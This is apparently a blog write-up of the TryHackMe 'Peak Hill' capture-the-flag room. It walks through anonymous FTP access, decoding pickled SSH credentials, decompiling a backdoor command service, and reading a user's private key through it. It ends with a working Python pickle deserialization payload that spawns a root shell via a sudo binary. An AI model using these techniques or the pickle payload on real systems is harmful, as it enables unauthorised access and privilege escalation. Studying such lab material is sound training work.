thm-peakhill

room : https://tryhackme.com/room/peakhill#

Initial Recon

Port Scan

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $nmap -Pn -A 10.10.90.44 -oN allports.nmap
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-11 09:35 CET
Nmap scan report for 10.10.90.44
Host is up (0.051s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 3.0.3
| ftp-syst: 
| STAT: 
| FTP server status:
| Connected to ::ffff:10.9.0.211
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 ftp ftp 17 May 15 2020 test.txt
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 04:d5:75:9d:c1:40:51:37:73:4c:42:30:38:b8:d6:df (RSA)
| 256 7f:95:1a:d7:59:2f:19:06:ea:c1:55:ec:58:35:0c:05 (ECDSA)
|_ 256 a5:15:36:92:1c:aa:59:9b:8a:d8:ea:13:c9:c0:ff:b6 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.81 seconds
┌─[puck@parrot-lt]─[~/thm/peakhill]

FTP

Anonymous log in allowed

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $ftp 10.10.90.44 
Connected to 10.10.90.44.
220 (vsFTPd 3.0.3)
Name (10.10.90.44:puck): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 May 15 2020 .
drwxr-xr-x 2 ftp ftp 4096 May 15 2020 ..
-rw-r--r-- 1 ftp ftp 7048 May 15 2020 .creds
-rw-r--r-- 1 ftp ftp 17 May 15 2020 test.txt
226 Directory send OK.
ftp>

We download .creds , and add it in

https://gchq.github.io/CyberChef/

CyberChef Conversion

This is pickled output (python)

This can be unpickled using the following python script

import pickle

with open(filename, "rb") as file:
	pickle_data = file.read()
	creds = pickle.loads(pickle_data)
	print(creds)

Output:

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $python3 pickie.py 
[('ssh_pass15', 'u'), ('ssh_user1', 'h'), ('ssh_pass25', 'r'), ('ssh_pass20', 'h'), ('ssh_pass7', '_'), ('ssh_user0', 'g'), ('ssh_pass26', 'l'), ('ssh_pass5', '3'), ('ssh_pass1', '1'), ('ssh_pass22', '_'), ('ssh_pass12', '@'), ('ssh_user2', 'e'), ('ssh_user5', 'i'), ('ssh_pass18', '_'), ('ssh_pass27', 'd'), ('ssh_pass3', 'k'), ('ssh_pass19', 't'), ('ssh_pass6', 's'), ('ssh_pass9', '1'), ('ssh_pass23', 'w'), ('ssh_pass21', '3'), ('ssh_pass4', 'l'), ('ssh_pass14', '0'), ('ssh_user6', 'n'), ('ssh_pass2', 'c'), ('ssh_pass13', 'r'), ('ssh_pass16', 'n'), ('ssh_pass8', '@'), ('ssh_pass17', 'd'), ('ssh_pass24', '0'), ('ssh_user3', 'r'), ('ssh_user4', 'k'), ('ssh_pass11', '_'), ('ssh_pass0', 'p'), ('ssh_pass10', '1')]
┌─[puck@parrot-lt]─[~/thm/peakhill]

Cleaned output

gherkin
p1ckl3s_@11_@r0und_th3_w0rld

These credentials can be used to log in via SSH

┌─[✗]─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $ssh gherkin@10.10.90.44
gherkin@10.10.90.44's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-177-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage


28 packages can be updated.
19 updates are security updates.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

gherkin@ubuntu-xenial:~$ ls
cmd_service.pyc
gherkin@ubuntu-xenial:~$ ls -la
total 16
drwxr-xr-x 3 gherkin gherkin 4096 Feb 11 08:47 .
drwxr-xr-x 4 root root 4096 May 15 2020 ..
drwx------ 2 gherkin gherkin 4096 Feb 11 08:47 .cache
-rw-r--r-- 1 root root 2350 May 15 2020 cmd_service.pyc
gherkin@ubuntu-xenial:~$

Privilege Escalation

There is a compiled python file in the gherkin user’s home directory

scp to host with:

┌─[✗]─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $scp gherkin@10.10.90.44:/home/gherkin/cmd_service.pyc .
gherkin@10.10.90.44's password: 
cmd_service.pyc 100% 2350 65.9KB/s 00:00 
┌─[puck@parrot-lt]─[~/thm/peakhill]

Running file

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $file cmd_service.py
cmd_service.py: Python script, ASCII text executable

This can be decompiled with a tool called uncompyle6 [pip3 install uncompyle6]

uncompyle6 -o . cmd_service.pyc

This gives us the following code

# uncompyle6 version 3.7.0
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.8.2 (default, Apr  1 2020, 15:52:55)
# [GCC 9.3.0]
# Embedded file name: ./cmd_service.py
# Compiled at: 2020-05-14 13:55:16
# Size of source mod 2**32: 2140 bytes
from Crypto.Util.number import bytes_to_long, long_to_bytes
import sys, textwrap, socketserver, string, readline, threading
from time import *
import getpass, os, subprocess
username = long_to_bytes(1684630636)
password = long_to_bytes(2457564920124666544827225107428488864802762356)

class Service(socketserver.BaseRequestHandler):

    def ask_creds(self):
        username_input = self.receive(b'Username: ').strip()
        password_input = self.receive(b'Password: ').strip()
        print(username_input, password_input)
        if username_input == username:
            if password_input == password:
                return True
        return False

    def handle(self):
        loggedin = self.ask_creds()
        if not loggedin:
            self.send(b'Wrong credentials!')
            return None
        self.send(b'Successfully logged in!')
        while True:
            command = self.receive(b'Cmd: ')
            p = subprocess.Popen(command,
              shell=True, stdout=(subprocess.PIPE), stderr=(subprocess.PIPE))
            self.send(p.stdout.read())

    def send(self, string, newline=True):
        if newline:
            string = string + b'\\n'
        self.request.sendall(string)

    def receive(self, prompt=b'> '):
        self.send(prompt, newline=False)
        return self.request.recv(4096).strip()

class ThreadedService(socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler):
    pass

def main():
    print('Starting server...')
    port = 7321
    host = '0.0.0.0'
    service = Service
    server = ThreadedService((host, port), service)
    server.allow_reuse_address = True
    server_thread = threading.Thread(target=(server.serve_forever))
    server_thread.daemon = True
    server_thread.start()
    print('Server started on ' + str(server.server_address) + '!')
    while True:
        sleep(10)

if __name__ == '__main__':

Decrypting the hardcoded credentials

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.Util.number import bytes_to_long, long_to_bytes
>>> long_to_bytes(1684630636)
b'dill'
>>> long_to_bytes(2457564920124666544827225107428488864802762356)
b'n3v3r_@_d1ll_m0m3nt'
>>> 
┌─[puck@parrot-lt]─[~/thm/peakhill]

This program starts a listener on port 7321 which was seen in the Nmap scan

Connecting to the service with nc

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $nc 10.10.90.44 7321
Username: dill
Password: n3v3r_@_d1ll_m0m3nt
Successfully logged in!
Cmd: ls

Cmd: whoami
dill

Cmd: cat ~/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[redacted]
N8I+VHpYh0mrQOzhKLu3Xy9I
/V7pwBay5mHnsAAAAKam9obkB4cHMxNQE=
-----END OPENSSH PRIVATE KEY-----

Cmd:
Cmd: ^C
┌─[✗]─[puck@parrot-lt]─[~/thm/peakhill]

This shell can be used to read the dill user’s id_rsa file and SSH into the box as the dill user

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $ssh -i id_rsa dill@10.10.90.44
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-177-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage


28 packages can be updated.
19 updates are security updates.


Last login: Wed May 20 21:56:05 2020 from 10.1.122.133
dill@ubuntu-xenial:~$ ls
user.txt
dill@ubuntu-xenial:~$ cat user.txt
f1e1[redacted]b6a0
dill@ubuntu-xenial:~$ sudo -l
Matching Defaults entries for dill on ubuntu-xenial:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dill may run the following commands on ubuntu-xenial:
(ALL : ALL) NOPASSWD: /opt/peak_hill_farm/peak_hill_farm
dill@ubuntu-xenial:~$ ls -la /opt/peak_hill_farm/peak_hill_farm
-rwxr-x--x 1 root root 1218056 May 15 2020 /opt/peak_hill_farm/peak_hill_farm
dill@ubuntu-xenial:~$ file /opt/peak_hill_farm/peak_hill_farm
/opt/peak_hill_farm/peak_hill_farm: executable, regular file, no read permission

 

Looking at sudo -l

Viewing the permissions,Running the script with “123”Looks like it is expecting base64 ,Encoding “123” with base64 and trying again, This program can be exploited by entering a pickled object with malicious code

Here is an article on it

Create an exploit script

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $cat expo.py 
#!/usr/bin/env python3
import pickle
import base64

class execute(object):
def __reduce__(self):
import os
return(os.system,("/bin/sh",))

print(base64.b64encode(pickle.dumps(execute())))

┌─[puck@parrot-lt]─[~/thm/peakhill]
┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $python3 expo.py 
b'gASVIgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAcvYmluL3NolIWUUpQu'
┌─[puck@parrot-lt]─[~/thm/peakhill]
dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm 
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: 123
failed to decode base64
dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm 
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: aG9pCg==
this not grow did not grow on the Peak Hill Farm! :(
dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm 
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: b'gASVIgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAcvYmluL3NolIWUUpQu'
failed to decode base64
dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm 
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: gASVHwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjARiYXNolIWUUpQu
root@ubuntu-xenial:/opt/peak_hill_farm# cd /root
root@ubuntu-xenial:/root# ls
 root.txt 
root@ubuntu-xenial:/root# cat root.txt
cat: root.txt: No such file or directory
root@ubuntu-xenial:/root# /bin/sh
# cd /root
# ls
 root.txt 
# cat *
e88f[redacted]ee28
#

Done.

 

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *